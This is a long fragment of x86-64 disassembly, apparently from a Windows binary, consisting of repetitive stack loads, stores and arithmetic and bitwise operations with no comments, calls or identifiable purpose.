mov rax, qword [rsp + 0x7988]
movsx eax, word [rax]
movsx ecx, word [0x140178ec8]
add eax, ecx
mov rcx, qword [rsp + 0x59e8]
mov word [rcx], ax
lea rax, [rsp + 0x232]
mov qword [rsp + 0x94f8], rax
movzx eax, word [rsp + 0xe38]
mov rcx, qword [rsp + 0x6850]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x9f4], ax
lea rax, [rsp + 0xd20]
mov qword [rsp + 0x9500], rax
mov rax, qword [rsp + 0x54c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9220]
mov qword [rsp + 0x9508], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9508]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5930]
mov qword [rcx], rax
lea rax, [rsp + 0x2ca8]
mov qword [rsp + 0x9510], rax
mov rax, qword [rsp + 0x51d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5130]
shr rax, cl
mov qword [rsp + 0x8778], rax
mov eax, dword [rsp + 0x2c58]
mov ecx, dword [rsp + 0x31a4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5ad0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc70]
mov word [0x14017a9a0], ax
lea rax, [rsp + 0xf5]
mov qword [rsp + 0x9518], rax
movsx eax, word [rsp + 0xa84]
movsx ecx, word [rsp + 0xb74]
and eax, ecx
mov rcx, qword [rsp + 0x8078]
mov word [rcx], ax
movzx eax, byte [rsp + 0x274]
mov byte [rsp + 0x27b], al
movzx eax, byte [rsp + 0x204]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov rcx, qword [rsp + 0x57a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6648]
mov rcx, qword [rsp + 0x5ee8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f10], rax
lea rax, [rsp + 0x2c64]
mov qword [rsp + 0x9520], rax
mov rax, qword [rsp + 0x6bd8]
mov ecx, dword [rsp + 0x2bec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov dword [rcx], eax
lea rax, [rsp + 0x7e08]
mov qword [rsp + 0x9528], rax
movsx eax, word [rsp + 0xae8]
mov rcx, qword [rsp + 0x7e00]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178fec], ax
movsx eax, byte [rsp + 0x122]
movsx ecx, byte [rsp + 0x165]
and eax, ecx
mov byte [rsp + 0x176], al
movzx eax, word [str.9_a8]
mov rcx, qword [rsp + 0x67a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x84e0]
mov word [rcx], ax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x9530], rax
mov rax, qword [rsp + 0x6600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x224]
sub eax, ecx
mov rcx, qword [rsp + 0x6af0]
mov byte [rcx], al
lea rax, [rsp + 0x2cec]
mov qword [rsp + 0x9538], rax
mov rax, qword [rsp + 0x5ca8]
mov rcx, qword [rsp + 0x6640]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6e28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8210]
mov rcx, qword [rsp + 0x8080]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5bc0]
mov qword [rcx], rax
lea rax, [rsp + 0x5fc0]
mov qword [rsp + 0x9540], rax
mov rax, qword [rsp + 0x5bf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6350]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140179038], ax
movzx eax, word [rsp + 0xe34]
movzx ecx, word [0x140178ea8]
sar eax, cl
mov word [rsp + 0x100c], ax
lea rax, [rsp + 0x20c]
mov qword [rsp + 0x9548], rax
mov rax, qword [rsp + 0x63c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
shl eax, cl
mov word [rsp + 0x870], ax
lea rax, [rsp + 0x1038]
mov qword [rsp + 0x9550], rax
mov rax, qword [rsp + 0x6c40]
mov rcx, qword [rsp + 0x5740]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5450], rax
mov rax, qword [rsp + 0x79f8]
mov ecx, dword [rsp + 0x3020]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a9c], eax
mov eax, dword [rsp + 0x2aa8]
mov dword [rsp + 0x3230], eax
mov rax, qword [rsp + 0x8bf0]
mov rcx, qword [rsp + 0x68e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5008]
mov qword [rcx], rax
lea rax, [rsp + 0x1b8]
mov qword [0x14017a9a8], rax
lea rax, [rsp + 0x968]
mov qword [rsp + 0x9558], rax
movsx eax, byte [rsp + 0x262]
mov rcx, qword [rsp + 0x7288]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x76d0]
mov byte [rcx], al
movzx eax, word [rsp + 0xd3c]
movzx ecx, word [rsp + 0xb2c]
sub eax, ecx
mov word [rsp + 0xfb0], ax
mov rax, qword [rsp + 0x7360]
movzx eax, byte [rax]
mov byte [rsp + 0x27c], al
mov rax, qword [rsp + 0x6ea0]
mov rcx, qword [rsp + 0x7c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8228], rax
mov rax, qword [rsp + 0x9390]
mov eax, dword [rax]
mov dword [rsp + 0x3234], eax
mov rax, qword [rsp + 0x5d28]
mov rcx, qword [rsp + 0x6d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6440], rax
mov eax, dword [rsp + 0x2b10]
mov ecx, dword [0x140178e6c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x54d8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xa54]
mov rcx, qword [rsp + 0x67a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140178f98], ax
lea rax, [rsp + 0x8fc]
mov qword [rsp + 0x9560], rax
mov rax, qword [rsp + 0x8650]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5468]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7e10]
mov byte [rcx], al
lea rax, [rsp + 0x21e]
mov qword [rsp + 0x9568], rax
mov rax, qword [rsp + 0x8928]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbf]
add eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x83c8]
mov eax, dword [rax]
mov dword [rsp + 0x3238], eax
mov rax, qword [rsp + 0x8be0]
mov rcx, qword [rsp + 0x8d40]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x67f8], rax
mov rax, qword [rsp + 0x8a48]
mov rcx, qword [rsp + 0x5678]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fd0], rax
lea rax, [rsp + 0x2fac]
mov qword [rsp + 0x9570], rax
mov rax, qword [rsp + 0x6400]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x232]
shl eax, cl
mov rcx, qword [rsp + 0x8370]
mov byte [rcx], al
mov rax, qword [rsp + 0x7608]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6080]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140178edf], al
mov rax, qword [rsp + 0x65c8]
movzx eax, word [rax]
mov word [rsp + 0x10a4], ax
movzx eax, word [rsp + 0xf14]
movzx ecx, word [rsp + 0x930]
and eax, ecx
mov word [rsp + 0xab4], ax
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xb58]
add eax, ecx
mov rcx, qword [rsp + 0x8868]
mov word [rcx], ax
lea rax, [rsp + 0x5af0]
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x82f8]
mov rcx, qword [rsp + 0x5718]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e18]
mov eax, dword [rax]
mov dword [rsp + 0x323c], eax
mov rax, qword [rsp + 0x9420]
mov rcx, qword [rsp + 0x8968]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b2c], eax
movsx eax, word [rsp + 0xc40]
movsx ecx, word [rsp + 0xe54]
add eax, ecx
mov word [rsp + 0x8a0], ax
mov rax, qword [rsp + 0x8f80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x242]
sub eax, ecx
mov byte [reloc.SHELL32.dll_ILSaveToStream], al
movzx eax, byte [rsp + 0x190]
mov byte [rsp + 0x27d], al
mov rax, qword [rsp + 0x8c90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x59]
add eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov byte [rcx], al
lea rax, [rsp + 0x246]
mov qword [rsp + 0x9580], rax
mov rax, qword [rsp + 0x5e40]
mov rcx, qword [rsp + 0x62c0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x85e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x89f8]
mov rcx, qword [rsp + 0x8db8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x61f0], rax
lea rax, [0x14017a064]
mov qword [rsp + 0x9588], rax
mov rax, qword [rsp + 0x7bc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3168]
sar eax, cl
mov rcx, qword [rsp + 0x6e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d70]
movzx eax, word [rax]
mov word [rsp + 0x10a8], ax
lea rax, [rsp + 0xe8c]
mov qword [0x14017a9b0], rax
mov rax, qword [rsp + 0x6998]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9480]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8d90]
mov byte [rcx], al
lea rax, [rsp + 0x9c0]
mov qword [rsp + 0x9590], rax
mov rax, qword [rsp + 0x88a8]
movzx eax, byte [rax]
mov rcx, qword [0x14017a6a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x67d0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5ed8], rax
lea rax, [rsp + 0x8920]
mov qword [rsp + 0x9598], rax
mov rax, qword [rsp + 0x7b08]
mov ecx, dword [rsp + 0x2c24]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5f48]
mov dword [rcx], eax
lea rax, [rsp + 0x307c]
mov qword [rsp + 0x95a0], rax
mov rax, qword [rsp + 0x85a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x184], al
mov rax, qword [rsp + 0x77b8]
movsx eax, word [rax]
movsx ecx, word [0x140178fbc]
sub eax, ecx
mov rcx, qword [0x14017a670]
mov word [rcx], ax
mov rax, qword [rsp + 0x9240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff4]
add eax, ecx
mov word [rsp + 0xed4], ax
movzx eax, word [rsp + 0xc4c]
mov word [rsp + 0x10ac], ax
movzx eax, byte [rsp + 0xfe]
movzx ecx, byte [0x14017a22a]
sub eax, ecx
mov byte [rsp + 0x132], al
movzx eax, byte [rsp + 0x152]
mov byte [rsp + 0x27e], al
mov rax, qword [rsp + 0x5408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9528]
mov rcx, qword [rsp + 0x5850]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x61f0], rax
mov rax, qword [rsp + 0x8748]
mov eax, dword [rax]
mov dword [rsp + 0x3240], eax
mov rax, qword [rsp + 0x58d8]
mov rcx, qword [rsp + 0x5678]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5a50], rax
movsx eax, word [rsp + 0xce0]
movsx ecx, word [rsp + 0xe84]
add eax, ecx
mov word [0x14017903c], ax
lea rax, [rsp + 0xf58]
mov qword [rsp + 0x95a8], rax
movzx eax, byte [rsp + 0x177]
movzx ecx, byte [rsp + 0x1ae]
and eax, ecx
mov byte [rsp + 0x1bd], al
mov rax, qword [0x14017a510]
movzx eax, word [rax]
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x79d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd1]
xor eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x77d0]
mov rcx, qword [rsp + 0x6450]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d48], rax
mov eax, dword [0x14017a064]
mov dword [rsp + 0x3244], eax
mov rax, qword [rsp + 0x6d80]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x70c0]
shl rax, cl
mov qword [rsp + 0x4e50], rax
lea rax, [rsp + 0x28ac]
mov qword [rsp + 0x95b0], rax
mov rax, qword [rsp + 0x9550]
movzx eax, word [rax]
mov rcx, qword [0x14017a308]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14017a440]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ed0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x81c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1000], ax
movsx eax, byte [rsp + 0x7e]
movsx ecx, byte [rsp + 0xec]
sub eax, ecx
mov byte [rsp + 0x24e], al
movzx eax, word [rsp + 0xdbc]
mov word [rsp + 0x10b4], ax
movzx eax, byte [rsp + 0x162]
movzx ecx, byte [rsp + 0x154]
and eax, ecx
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0x5cf8]
mov qword [rsp + 0x95b8], rax
mov rax, qword [rsp + 0x8d78]
mov rcx, qword [rsp + 0x8178]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5ab0], rax
mov eax, dword [rsp + 0x2acc]
mov ecx, dword [rsp + 0x30dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x80b0]
mov dword [rcx], eax
lea rax, [rsp + 0x2e24]
mov qword [rsp + 0x95c0], rax
mov rax, qword [0x14017a900]
movzx eax, word [rax]
mov word [0x14017a9b8], ax
movsx eax, byte [rsp + 0x24c]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5928]
mov byte [rcx], al
lea rax, [rsp + 0x1e2]
mov qword [rsp + 0x95c8], rax
movsx eax, word [rsp + 0x1094]
mov rcx, qword [0x14017a218]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe30], ax
movzx eax, byte [rsp + 0x227]
mov rcx, qword [rsp + 0x7300]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8cf0]
mov byte [rcx], al
lea rax, [rsp + 0x5228]
mov qword [rsp + 0x95d0], rax
mov rax, qword [rsp + 0x7010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8788]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x93b0], rax
mov rax, qword [rsp + 0x90b0]
mov eax, dword [rax]
mov dword [rsp + 0x3248], eax
mov eax, dword [rsp + 0x2ffc]
mov ecx, dword [rsp + 0x31a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3234], eax
mov rax, qword [0x14017a6d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x79d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178eeb], al
mov rax, qword [rsp + 0x7918]
movzx eax, byte [rax]
mov byte [rsp + 0x27f], al
mov rax, qword [rsp + 0x5f00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa68]
xor eax, ecx
mov rcx, qword [rsp + 0x60b0]
mov word [rcx], ax
movsx eax, word [rsp + 0xde4]
movsx ecx, word [rsp + 0xd00]
sar eax, cl
mov word [rsp + 0x900], ax
lea rax, [rsp + 0xd4c]
mov qword [rsp + 0x95d8], rax
mov rax, qword [rsp + 0x4f20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7ca0]
mov qword [rsp + 0x95e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x95e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x31b0], eax
mov rax, qword [0x140178e60]
mov qword [rsp + 0x95e8], rax
mov rax, qword [rsp + 0x8830]
mov rcx, qword [rsp + 0x6170]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x83f8], rax
mov rax, qword [rsp + 0x90e0]
mov ecx, dword [rsp + 0x2bd4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b40], eax
movsx eax, word [rsp + 0x1070]
movsx ecx, word [rsp + 0xe20]
add eax, ecx
mov word [0x140179040], ax
mov rax, qword [rsp + 0x7cb0]
movzx eax, byte [rax]
mov byte [rsp + 0x280], al
movzx eax, byte [rsp + 0x218]
mov rcx, qword [rsp + 0x6280]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1aa], al
mov rax, qword [rsp + 0x5168]
movzx eax, word [rax]
mov word [rsp + 0x10b8], ax
mov rax, qword [rsp + 0x5ae0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7fc0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1c0], al
mov rax, qword [rsp + 0x7cc0]
mov ecx, dword [rsp + 0x2a04]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x306c], eax
lea rax, [rsp + 0x2f38]
mov qword [rsp + 0x95f0], rax
mov rax, qword [rsp + 0x5838]
mov rcx, qword [rsp + 0x76a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8878]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b78]
mov rax, qword [rax]
mov qword [rsp + 0x95f8], rax
mov rax, qword [rsp + 0x7af8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
add eax, ecx
mov rcx, qword [0x14017a208]
mov byte [rcx], al
mov rax, qword [rsp + 0x5318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9398]
mov byte [rcx], al
movzx eax, byte [rsp + 0xae]
mov rcx, qword [rsp + 0x7c18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5ff0]
mov byte [rcx], al
lea rax, [rsp + 0xfec]
mov qword [rsp + 0x9600], rax
mov rax, qword [rsp + 0x8768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75d0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa38], ax
lea rax, [rsp + 0x3164]
mov qword [rsp + 0x9608], rax
mov rax, qword [rsp + 0x5f38]
mov rcx, qword [rsp + 0x8d40]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7328], rax
mov rax, qword [rsp + 0x91a8]
mov eax, dword [rax]
mov dword [rsp + 0x324c], eax
mov rax, qword [0x140178e78]
movzx ecx, al
mov rax, qword [rsp + 0x5750]
shr rax, cl
mov qword [rsp + 0x7a70], rax
mov rax, qword [rsp + 0x7e18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8698]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017a568]
mov byte [rcx], al
mov rax, qword [rsp + 0x67e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12f]
and eax, ecx
mov byte [rsp + 0x278], al
mov rax, qword [0x14017a5f0]
movzx eax, word [rax]
mov word [rsp + 0x10bc], ax
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbac]
add eax, ecx
mov word [rsp + 0xb0c], ax
lea rax, [rsp + 0xb58]
mov qword [rsp + 0x9610], rax
mov eax, dword [rsp + 0x3200]
mov ecx, dword [0x14017a060]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30cc], eax
mov eax, dword [rsp + 0x2dfc]
mov ecx, dword [rsp + 0x2bd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c5c], eax
mov rax, qword [rsp + 0x8c80]
mov rax, qword [rax]
mov qword [rsp + 0x9618], rax
mov rax, qword [rsp + 0x55f8]
mov rcx, qword [rsp + 0x79f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7fa8], rax
mov rax, qword [rsp + 0x5430]
movzx eax, byte [rax]
mov byte [rsp + 0x281], al
mov rax, qword [rsp + 0x90e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x77c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140179044], ax
movzx eax, word [rsp + 0xef8]
movzx ecx, word [rsp + 0xcd8]
add eax, ecx
mov word [rsp + 0xacc], ax
movzx eax, byte [rsp + 0x17a]
mov rcx, qword [rsp + 0x94a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x18d], al
lea rax, [rsp + 0xb5c]
mov qword [rsp + 0x9620], rax
mov rax, qword [rsp + 0x7630]
mov rcx, qword [rsp + 0x8bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8808]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9200]
mov eax, dword [rax]
mov dword [rsp + 0x3250], eax
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rsp + 0x58c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7520], rax
mov eax, dword [rsp + 0x3210]
mov dword [rsp + 0x3254], eax
mov rax, qword [rsp + 0x9070]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8e08]
mov byte [rcx], al
lea rax, [rsp + 0x9b]
mov qword [0x14017a9c0], rax
movzx eax, word [0x140178fd8]
movzx ecx, word [rsp + 0x1014]
sar eax, cl
mov rcx, qword [rsp + 0x54f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5670]
movzx eax, word [rax]
mov word [rsp + 0x10c0], ax
mov rax, qword [rsp + 0x60c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8a40]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1a2], al
lea rax, [0x140178e8c]
mov qword [rsp + 0x9628], rax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x6478]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6418]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6840], rax
mov rax, qword [rsp + 0x5ca8]
mov eax, dword [rax]
mov dword [rsp + 0x3258], eax
movsx eax, word [rsp + 0x9f0]
movsx ecx, word [rsp + 0xc90]
add eax, ecx
mov word [rsp + 0x9b8], ax
mov rax, qword [rsp + 0x5040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b1]
add eax, ecx
mov byte [0x140178f02], al
lea rax, [rsp + 0xcfc]
mov qword [rsp + 0x9630], rax
mov rax, qword [rsp + 0x8d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9398]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0x7460]
movsx eax, word [rax]
mov rcx, qword [0x14017a2a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
mov rax, qword [rsp + 0x74e0]
mov rax, qword [rax]
mov qword [rsp + 0x9638], rax
mov eax, dword [rsp + 0x2bfc]
mov ecx, dword [rsp + 0x2e6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c30], eax
lea rax, [rsp + 0x2f28]
mov qword [rsp + 0x9640], rax
mov rax, qword [rsp + 0x8388]
mov rcx, qword [rsp + 0x5458]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x82e8], rax
movsx eax, byte [rsp + 0x19d]
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9380]
mov byte [rcx], al
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x7a20]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a128]
mov byte [rcx], al
lea rax, [rsp + 0x18d]
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0x68c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6350]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbfc], ax
lea rax, [rsp + 0xa6c]
mov qword [rsp + 0x9650], rax
movzx eax, byte [rsp + 0x1d9]
movzx ecx, byte [rsp + 0xcc]
sar eax, cl
mov rcx, qword [rsp + 0x6cd8]
mov byte [rcx], al
lea rax, [rsp + 0x6620]
mov qword [rsp + 0x9658], rax
mov rax, qword [rsp + 0x5310]
mov rcx, qword [rsp + 0x6300]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2e5c], eax
mov eax, dword [rsp + 0x2d64]
mov rcx, qword [rsp + 0x5a10]
mov qword [rsp + 0x9660], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9660]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2e98], eax
mov rax, qword [rsp + 0x8ae8]
mov rax, qword [rax]
mov qword [rsp + 0x9668], rax
lea rax, [rsp + 0x8d8]
mov qword [0x14017a9c8], rax
mov rax, qword [0x14017a9c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7e18]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x241], al
lea rax, [rsp + 0xad0]
mov qword [rsp + 0x9670], rax
movzx eax, word [rsp + 0xdd8]
mov rcx, qword [rsp + 0x8310]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbec], ax
movsx eax, word [0x140178fcc]
mov rcx, qword [rsp + 0x7c98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc7c], ax
mov rax, qword [rsp + 0x8110]
mov eax, dword [rax]
mov dword [rsp + 0x325c], eax
mov rax, qword [rsp + 0x8ee8]
mov ecx, dword [rsp + 0x2a48]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7108]
mov dword [rcx], eax
lea rax, [0x140178e78]
mov qword [rsp + 0x9678], rax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x7a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6630], rax
movzx eax, byte [rsp + 0x13c]
mov byte [0x14017a262], al
mov rax, qword [rsp + 0x66b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7fe8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa34], ax
mov rax, qword [rsp + 0x7b48]
movzx eax, word [rax]
mov word [rsp + 0x10c4], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x149]
sub eax, ecx
mov rcx, qword [rsp + 0x83b0]
mov byte [rcx], al
lea rax, [0x140178efe]
mov qword [rsp + 0x9680], rax
mov rax, qword [rsp + 0x5858]
mov rcx, qword [rsp + 0x6798]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6770], rax
mov rax, qword [rsp + 0x6040]
mov eax, dword [rax]
mov dword [rsp + 0x3260], eax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [str.kD3]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8638]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6510]
mov ecx, dword [rsp + 0x2e54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x302c], eax
mov rax, qword [rsp + 0x7770]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a50]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140178ecc], ax
lea rax, [0x14017a202]
mov qword [rsp + 0x9688], rax
movzx eax, byte [rsp + 0x1a0]
mov rcx, qword [rsp + 0x6aa8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x177], al
lea rax, [rsp + 0x180]
mov qword [rsp + 0x9690], rax
movzx eax, word [rsp + 0xc54]
movzx ecx, word [rsp + 0xdb8]
xor eax, ecx
mov word [rsp + 0xcfc], ax
mov eax, dword [rsp + 0x2bd4]
movzx ecx, al
mov eax, dword [rsp + 0x2e10]
shl eax, cl
mov dword [rsp + 0x2c54], eax
lea rax, [rsp + 0x70e8]
mov qword [rsp + 0x9698], rax
mov rax, qword [rsp + 0x4ec8]
mov rcx, qword [rsp + 0x6db0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7060]
mov qword [rcx], rax
lea rax, [rsp + 0x2d88]
mov qword [rsp + 0x96a0], rax
movzx eax, byte [rsp + 0x108]
mov rcx, qword [rsp + 0x5a00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178edb], al
mov rax, qword [rsp + 0x8890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xadc]
add eax, ecx
mov word [rsp + 0xdd4], ax
mov rax, qword [rsp + 0x5fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x212]
add eax, ecx
mov byte [rsp + 0x22c], al
lea rax, [rsp + 0xc3c]
